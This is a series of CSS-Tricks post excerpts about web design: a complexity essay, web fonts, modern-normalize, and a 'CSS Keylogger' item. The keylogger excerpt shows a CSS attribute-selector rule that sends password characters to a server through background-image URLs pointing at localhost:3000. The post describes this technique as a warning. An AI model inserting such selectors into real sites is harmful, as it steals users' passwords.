Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again.
May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder:
I don’t feel much better at making [websites] after 20 years. My knowledge and skills develop a bit, then things change, …
Complexity is a post from CSS-Tricks
Using custom fonts is getting increasingly easier. We’ll cover the basics of usage here and get into the more in-depth features that are helpful for developers who want to level up and aim to perfect advanced concepts, like loading font files.
Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks
Another don’t call it a reset from Sindre Sorhus. It’s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I’m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.
If you’re interested in some of the history and thinking behind …
modern-normalize is a post from CSS-Tricks
Scary little attack using essentially a bunch of attribute selectors like this:
input[type="password"][value$="a"] {
background-image: url("https://localhost:3000/a");
}
At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:
const inp = …
CSS Keylogger is a post from CSS-Tricks
Explore what the world is searching. Enter a search term or a topic.
